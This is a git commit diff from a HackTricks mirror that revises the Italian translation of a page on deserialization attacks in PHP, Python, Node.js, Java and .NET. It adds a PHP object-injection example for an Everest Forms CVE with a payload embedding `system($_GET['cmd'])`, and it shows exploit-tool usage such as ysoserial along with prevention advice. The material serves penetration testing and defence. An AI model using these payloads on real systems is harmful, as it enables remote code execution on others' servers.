mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/README.md'] to it
This commit is contained in:
parent
cce56b181b
commit
60ecc5f61f
@ -8,17 +8,17 @@
|
||||
|
||||
**La deserializzazione**, al contrario, è il processo che contrasta la serializzazione. Comporta il prendere dati che sono stati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.
|
||||
|
||||
La deserializzazione può essere pericolosa perché **permette potenzialmente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso** o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.
|
||||
La deserializzazione può essere pericolosa perché **consente potenzialmente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso** o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.
|
||||
|
||||
## PHP
|
||||
|
||||
In PHP, specifici metodi magici sono utilizzati durante i processi di serializzazione e deserializzazione:
|
||||
|
||||
- `__sleep`: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array dei nomi di tutte le proprietà dell'oggetto che dovrebbero essere serializzate. È comunemente usato per impegnare dati in sospeso o eseguire compiti di pulizia simili.
|
||||
- `__sleep`: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array dei nomi di tutte le proprietà dell'oggetto che devono essere serializzate. È comunemente usato per impegnare dati in sospeso o eseguire compiti di pulizia simili.
|
||||
- `__wakeup`: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altri compiti di reinizializzazione.
|
||||
- `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce un maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
|
||||
- `__destruct`: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per compiti di pulizia, come la chiusura di handle di file o connessioni al database.
|
||||
- `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo effettivamente una rappresentazione testuale dell'oggetto.
|
||||
- `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo efficacemente una rappresentazione testuale dell'oggetto.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -77,16 +77,16 @@ This is a test<br />
|
||||
Se guardi i risultati, puoi vedere che le funzioni **`__wakeup`** e **`__destruct`** vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione **`__toString`** viene chiamata quando si cerca di stampare un attributo, ma apparentemente **non sta più accadendo**.
|
||||
|
||||
> [!WARNING]
|
||||
> Il metodo **`__unserialize(array $data)`** viene chiamato **invece di `__wakeup()`** se è implementato nella classe. Ti consente di deserializzare l'oggetto fornendo i dati serializzati come un array. Puoi utilizzare questo metodo per deserializzare le proprietà e svolgere eventuali compiti necessari al momento della deserializzazione.
|
||||
> Il metodo **`__unserialize(array $data)`** viene chiamato **invece di `__wakeup()`** se è implementato nella classe. Ti consente di deserializzare l'oggetto fornendo i dati serializzati come array. Puoi utilizzare questo metodo per deserializzare le proprietà e svolgere eventuali compiti necessari al momento della deserializzazione.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
> private $property;
|
||||
> private $property;
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // Esegui eventuali compiti necessari al momento della deserializzazione.
|
||||
> }
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // Esegui eventuali compiti necessari al momento della deserializzazione.
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
|
||||
@ -115,10 +115,62 @@ $o->param1 =& $o->param22;
|
||||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### Prevenire l'Iniezione di Oggetti PHP con `allowed_classes`
|
||||
|
||||
> [!INFO]
|
||||
> Il supporto per il **secondo argomento** di `unserialize()` (l'array `$options`) è stato aggiunto in **PHP 7.0**. Nelle versioni precedenti, la funzione accetta solo la stringa serializzata, rendendo impossibile limitare quali classi possono essere istanziate.
|
||||
|
||||
`unserialize()` **istanzerà ogni classe** che trova all'interno dello stream serializzato a meno che non venga indicato diversamente. Dalla PHP 7, il comportamento può essere limitato con l'opzione [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
|
||||
// SAFER – disable object instantiation completely
|
||||
$object = unserialize($userControlledData, [
|
||||
'allowed_classes' => false // no classes may be created
|
||||
]);
|
||||
|
||||
// Granular – only allow a strict white-list of models
|
||||
$object = unserialize($userControlledData, [
|
||||
'allowed_classes' => [MyModel::class, DateTime::class]
|
||||
]);
|
||||
```
|
||||
Se **`allowed_classes` è omesso _o_ il codice viene eseguito su PHP < 7.0**, la chiamata diventa **pericolosa** poiché un attaccante può creare un payload che sfrutta metodi magici come `__wakeup()` o `__destruct()` per ottenere l'Esecuzione Remota di Codice (RCE).
|
||||
|
||||
#### Esempio del mondo reale: Everest Forms (WordPress) CVE-2025-52709
|
||||
|
||||
Il plugin WordPress **Everest Forms ≤ 3.2.2** ha cercato di essere difensivo con un wrapper di supporto ma ha dimenticato le versioni legacy di PHP:
|
||||
```php
|
||||
function evf_maybe_unserialize($data, $options = array()) {
|
||||
if (is_serialized($data)) {
|
||||
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
|
||||
// SAFE branch (PHP ≥ 7.1)
|
||||
$options = wp_parse_args($options, array('allowed_classes' => false));
|
||||
return @unserialize(trim($data), $options);
|
||||
}
|
||||
// DANGEROUS branch (PHP < 7.1)
|
||||
return @unserialize(trim($data));
|
||||
}
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
Su server che eseguivano ancora **PHP ≤ 7.0**, questo secondo ramo portava a un classico **PHP Object Injection** quando un amministratore apriva un invio di modulo malevolo. Un payload di exploit minimo potrebbe apparire così:
|
||||
```
|
||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
Non appena l'amministratore ha visualizzato l'entrata, l'oggetto è stato istanziato e `SomeClass::__destruct()` è stato eseguito, risultando in un'esecuzione di codice arbitrario.
|
||||
|
||||
**Take-aways**
|
||||
1. Passa sempre `['allowed_classes' => false]` (o una white-list rigorosa) quando chiami `unserialize()`.
|
||||
2. Controlla i wrapper difensivi – spesso dimenticano i rami legacy di PHP.
|
||||
3. Aggiornare a **PHP ≥ 7.x** da solo *non* è sufficiente: l'opzione deve ancora essere fornita esplicitamente.
|
||||
|
||||
---
|
||||
|
||||
### PHPGGC (ysoserial per PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) può aiutarti a generare payload per abusare delle deserializzazioni PHP.\
|
||||
Nota che in diversi casi **non sarai in grado di trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione, ma potresti essere in grado di **abusare del codice di estensioni PHP esterne.**\
|
||||
Nota che in diversi casi **non sarai in grado di trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione, ma potresti essere in grado di **abusare del codice delle estensioni PHP esterne.**\
|
||||
Quindi, se puoi, controlla il `phpinfo()` del server e **cerca su internet** (e anche sui **gadgets** di **PHPGGC**) alcuni possibili gadget che potresti abusare.
|
||||
|
||||
### deserializzazione dei metadati phar://
|
||||
@ -145,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Prima di controllare la tecnica di bypass, prova a usare `print(base64.b64encode(pickle.dumps(P(),2)))` per generare un oggetto compatibile con python2 se stai eseguendo python3.
|
||||
|
||||
Per ulteriori informazioni su come sfuggire a **pickle jails** controlla:
|
||||
Per ulteriori informazioni su come evadere dalle **pickle jails** controlla:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -170,7 +222,7 @@ python-yaml-deserialization.md
|
||||
### JS Magic Functions
|
||||
|
||||
JS **non ha funzioni "magiche"** come PHP o Python che vengono eseguite solo per creare un oggetto. Ma ha alcune **funzioni** che sono **frequentemente usate anche senza chiamarle direttamente** come **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Se abusando di una deserializzazione puoi **compromettere queste funzioni per eseguire altro codice** (potenzialmente abusando delle inquinamenti di prototipo) potresti eseguire codice arbitrario quando vengono chiamate.
|
||||
Se abusando di una deserializzazione puoi **compromettere queste funzioni per eseguire altro codice** (potenzialmente abusando delle inquinamenti del prototipo) potresti eseguire codice arbitrario quando vengono chiamate.
|
||||
|
||||
Un altro **modo "magico" per chiamare una funzione** senza chiamarla direttamente è **compromettendo un oggetto restituito da una funzione async** (promise). Perché, se **trasformi** quell'**oggetto di ritorno** in un'altra **promise** con una **proprietà** chiamata **"then" di tipo funzione**, verrà **eseguito** solo perché è restituito da un'altra promise. _Segui_ [_**questo link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _per ulteriori informazioni._
|
||||
```javascript
|
||||
@ -231,10 +283,10 @@ All'interno del file `node-serialize/lib/serialize.js` puoi trovare lo stesso fl
|
||||
|
||||
.png>)
|
||||
|
||||
Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato** viene utilizzato `eval` per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
|
||||
Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato** `eval` viene utilizzato per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
|
||||
|
||||
Tuttavia, **serializzare semplicemente** una funzione **non la eseguirà** poiché sarebbe necessario che qualche parte del codice **chiamasse `y.rce`** nel nostro esempio e ciò è altamente **improbabile**.\
|
||||
Comunque, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo alcune parentesi** per eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
|
||||
Comunque, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo alcune parentesi** in modo da eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
|
||||
Nel prossimo blocco di codice **nota l'ultima parentesi** e come la funzione `unserialize` eseguirà automaticamente il codice:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
@ -282,7 +334,7 @@ funcster.deepDeserialize(desertest3)
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
Il pacchetto **serialize-javascript** è progettato esclusivamente per scopi di serializzazione, mancando di qualsiasi capacità di deserializzazione integrata. Gli utenti sono responsabili dell'implementazione del proprio metodo per la deserializzazione. Un uso diretto di `eval` è suggerito dall'esempio ufficiale per deserializzare i dati serializzati:
|
||||
Il pacchetto **serialize-javascript** è progettato esclusivamente per scopi di serializzazione, privo di qualsiasi capacità di deserializzazione integrata. Gli utenti sono responsabili dell'implementazione del proprio metodo per la deserializzazione. Un uso diretto di `eval` è suggerito dall'esempio ufficiale per deserializzare i dati serializzati:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
@ -304,7 +356,7 @@ deserialize(test)
|
||||
```
|
||||
**Per**[ **maggiori informazioni leggi questa fonte**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Libreria Cryo
|
||||
### Cryo library
|
||||
|
||||
Nelle pagine seguenti puoi trovare informazioni su come abusare di questa libreria per eseguire comandi arbitrari:
|
||||
|
||||
@ -315,7 +367,7 @@ Nelle pagine seguenti puoi trovare informazioni su come abusare di questa librer
|
||||
|
||||
In Java, **i callback di deserializzazione vengono eseguiti durante il processo di deserializzazione**. Questa esecuzione può essere sfruttata da attaccanti che creano payload dannosi che attivano questi callback, portando a potenziali esecuzioni di azioni dannose.
|
||||
|
||||
### Impronte
|
||||
### Fingerprints
|
||||
|
||||
#### White Box
|
||||
|
||||
@ -342,7 +394,7 @@ Per il testing black box, cerca specifiche **firme o "Magic Bytes"** che denotan
|
||||
- Intestazioni di risposta HTTP con `Content-type` impostato su `application/x-java-serialized-object`.
|
||||
- Modello esadecimale che indica una compressione precedente: `1F 8B 08 00`.
|
||||
- Modello Base64 che indica una compressione precedente: `H4sIA`.
|
||||
- File web con estensione `.faces` e il parametro `faces.ViewState`. Scoprire questi modelli in un'applicazione web dovrebbe indurre a un esame come dettagliato nel [post sulla Deserializzazione del ViewState di Java JSF](java-jsf-viewstate-.faces-deserialization.md).
|
||||
- File web con estensione `.faces` e il parametro `faces.ViewState`. Scoprire questi modelli in un'applicazione web dovrebbe indurre a un esame come dettagliato nel [post sulla deserializzazione di Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
@ -357,11 +409,11 @@ Puoi controllare se è installata qualche applicazione con vulnerabilità note.
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
Potresti provare a **controllare tutte le librerie** note per essere vulnerabili e che [**Ysoserial**](https://github.com/frohoff/ysoserial) può fornire un exploit. Oppure potresti controllare le librerie indicate su [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Potresti provare a **controllare tutte le librerie** note per essere vulnerabili e per le quali [**Ysoserial**](https://github.com/frohoff/ysoserial) può fornire un exploit. Oppure potresti controllare le librerie indicate su [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Puoi anche usare [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) per cercare possibili catene di gadget che possono essere sfruttate.\
|
||||
Quando esegui **gadgetinspector** (dopo averlo costruito) non preoccuparti dei tonnellate di avvisi/errori che sta attraversando e lascialo finire. Scriverà tutti i risultati sotto _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Si prega di notare che **gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi**.
|
||||
Quando esegui **gadgetinspector** (dopo averlo costruito), non preoccuparti dei tonnellate di avvisi/errori che sta attraversando e lascialo finire. Scriverà tutti i risultati sotto _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Si prega di notare che **gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi**.
|
||||
|
||||
#### Black Box Test
|
||||
#### Test Black Box
|
||||
|
||||
Utilizzando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puoi identificare **quali librerie sono disponibili** (e anche le versioni). Con queste informazioni potrebbe essere **più facile scegliere un payload** per sfruttare la vulnerabilità.\
|
||||
[**Leggi questo per saperne di più su GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
@ -374,7 +426,7 @@ Java Deserialization Scanner è focalizzato sulle **deserializzazioni `ObjectInp
|
||||
Puoi anche usare [**Freddy**](https://github.com/nccgroup/freddy) per **rilevare vulnerabilità di deserializzazione** in **Burp**. Questo plugin rileverà **non solo vulnerabilità** relative a **`ObjectInputStream`** ma **anche** vulnerabilità da librerie di deserializzazione **Json** e **Yml**. In modalità attiva, cercherà di confermarle utilizzando payload di sleep o DNS.\
|
||||
[**Puoi trovare ulteriori informazioni su Freddy qui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Serialization Test**
|
||||
**Test di Serializzazione**
|
||||
|
||||
Non si tratta solo di controllare se qualche libreria vulnerabile è utilizzata dal server. A volte potresti essere in grado di **cambiare i dati all'interno dell'oggetto serializzato e bypassare alcuni controlli** (forse concederti privilegi di amministratore all'interno di un'app web).\
|
||||
Se trovi un oggetto serializzato java inviato a un'applicazione web, **puoi usare** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **per stampare in un formato più leggibile dall'uomo l'oggetto di serializzazione che viene inviato**. Sapere quali dati stai inviando renderebbe più facile modificarli e bypassare alcuni controlli.
|
||||
@ -455,7 +507,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
Puoi **usare** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **insieme a ysoserial per creare più exploit**. Maggiori informazioni su questo strumento nelle **diapositive del talk** in cui lo strumento è stato presentato: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
Puoi **usare** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **insieme a ysoserial per creare più exploit**. Maggiori informazioni su questo strumento nelle **diapositive del talk** in cui è stato presentato: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
@ -495,13 +547,13 @@ Java utilizza molto la serializzazione per vari scopi come:
|
||||
|
||||
- **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc.
|
||||
- **RMI (Remote Method Invocation)**: Il protocollo RMI di Java, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
|
||||
- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
|
||||
- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client spesse basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
|
||||
- **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti attraverso la rete.
|
||||
- **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che saranno dimostrati negli esempi di exploit futuri.
|
||||
|
||||
### Prevention
|
||||
|
||||
#### Oggetti transient
|
||||
#### Transient objects
|
||||
|
||||
Una classe che implementa `Serializable` può implementare come `transient` qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzabile. Ad esempio:
|
||||
```java
|
||||
@ -512,7 +564,7 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### Evitare la serializzazione di una classe che deve implementare Serializable
|
||||
|
||||
In scenari in cui determinati **oggetti devono implementare l'interfaccia `Serializable`** a causa della gerarchia delle classi, c'è il rischio di deserializzazione involontaria. Per prevenire ciò, assicurati che questi oggetti non siano deserializzabili definendo un metodo `readObject()` `final` che lanci costantemente un'eccezione, come mostrato di seguito:
|
||||
In scenari in cui alcuni **oggetti devono implementare l'interfaccia `Serializable`** a causa della gerarchia delle classi, c'è il rischio di deserializzazione involontaria. Per prevenire ciò, assicurati che questi oggetti non siano deserializzabili definendo un metodo `readObject()` `final` che lancia costantemente un'eccezione, come mostrato di seguito:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -568,7 +620,7 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Sfruttare le librerie esterne per una maggiore sicurezza**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come l'inserimento in whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
|
||||
**Sfruttare le librerie esterne per una sicurezza migliorata**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come l'inserimento in whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
|
||||
|
||||
- **NotSoSerial** intercetta i processi di deserializzazione per prevenire l'esecuzione di codice non attendibile.
|
||||
- **jdeserialize** consente l'analisi di oggetti Java serializzati senza deserializzarli, aiutando a identificare contenuti potenzialmente dannosi.
|
||||
@ -585,12 +637,11 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Documento sulla deserializzazione di Java e .Net JSON **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- CVE di deserializzazione: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
- Deserializzazioni CVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Iniezione JNDI & log4Shell
|
||||
|
||||
Scopri cos'è **l'iniezione JNDI, come abusarne tramite RMI, CORBA e LDAP e come sfruttare log4shell** (e un esempio di questa vulnerabilità) nella seguente pagina:
|
||||
Scopri cos'è **l'iniezione JNDI, come abusarne tramite RMI, CORBA & LDAP e come sfruttare log4shell** (e un esempio di questa vulnerabilità) nella seguente pagina:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -598,7 +649,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita in modo disaccoppiato, affidabile e asincrono. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Permette la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Prodotti
|
||||
|
||||
@ -619,6 +670,8 @@ Lo strumento [JMET](https://github.com/matthiaskaiser/jmet) è stato creato per
|
||||
|
||||
### Riferimenti
|
||||
|
||||
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
|
||||
- Talk di JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slide: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
@ -651,7 +704,7 @@ Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter`
|
||||
|
||||
- **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che verrà abusata durante la deserializzazione per eseguire comandi).
|
||||
- **`--formatter`**, utilizzato per indicare il metodo per serializzare l'exploit (devi sapere quale libreria sta utilizzando il back-end per deserializzare il payload e utilizzare la stessa per serializzarlo)
|
||||
- **`--output`** utilizzato per indicare se desideri l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma questo non significa che funzionerà sempre)._
|
||||
- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII, ma questo non significa che funzionerà sempre)._
|
||||
- **`--plugin`** ysoserial.net supporta plugin per creare **exploit per framework specifici** come ViewState
|
||||
|
||||
#### Altri parametri di ysoserial.net
|
||||
@ -712,21 +765,21 @@ Pertanto, il parametro **`--test`** ci consente di capire **quali parti di codic
|
||||
|
||||
Dai un'occhiata a [questo POST su **come provare a sfruttare il parametro \_\_ViewState di .Net**](exploiting-__viewstate-parameter.md) per **eseguire codice arbitrario.** Se **conosci già i segreti** utilizzati dalla macchina vittima, [**leggi questo post per sapere come eseguire codice**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Prevention
|
||||
### Prevenzione
|
||||
|
||||
Per mitigare i rischi associati alla deserializzazione in .Net:
|
||||
|
||||
- **Evitare di consentire ai flussi di dati di definire i propri tipi di oggetto.** Utilizzare `DataContractSerializer` o `XmlSerializer` quando possibile.
|
||||
- **Per `JSON.Net`, impostare `TypeNameHandling` su `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- **Per `JSON.Net`, impostare `TypeNameHandling` su `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **Evitare di utilizzare `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
|
||||
- **Limitare i tipi che possono essere deserializzati**, comprendendo i rischi intrinseci con i tipi .Net, come `System.IO.FileInfo`, che può modificare le proprietà dei file del server, potenzialmente portando ad attacchi di denial of service.
|
||||
- **Limitare i tipi che possono essere deserializzati**, comprendendo i rischi intrinseci con i tipi .Net, come `System.IO.FileInfo`, che possono modificare le proprietà dei file del server, portando potenzialmente ad attacchi di denial of service.
|
||||
- **Essere cauti con i tipi che hanno proprietà rischiose**, come `System.ComponentModel.DataAnnotations.ValidationException` con la sua proprietà `Value`, che può essere sfruttata.
|
||||
- **Controllare in modo sicuro l'istanza dei tipi** per prevenire che gli attaccanti influenzino il processo di deserializzazione, rendendo vulnerabili anche `DataContractSerializer` o `XmlSerializer`.
|
||||
- **Implementare controlli di white list** utilizzando un `SerializationBinder` personalizzato per `BinaryFormatter` e `JSON.Net`.
|
||||
- **Rimanere informati sui gadget di deserializzazione insicuri noti** all'interno di .Net e assicurarsi che i deserializzatori non istanzino tali tipi.
|
||||
- **Isolare il codice potenzialmente rischioso** dal codice con accesso a Internet per evitare di esporre gadget noti, come `System.Windows.Data.ObjectDataProvider` nelle applicazioni WPF, a fonti di dati non attendibili.
|
||||
|
||||
### **References**
|
||||
### **Riferimenti**
|
||||
|
||||
- Documento sulla deserializzazione JSON di Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
@ -737,7 +790,7 @@ Per mitigare i rischi associati alla deserializzazione in .Net:
|
||||
|
||||
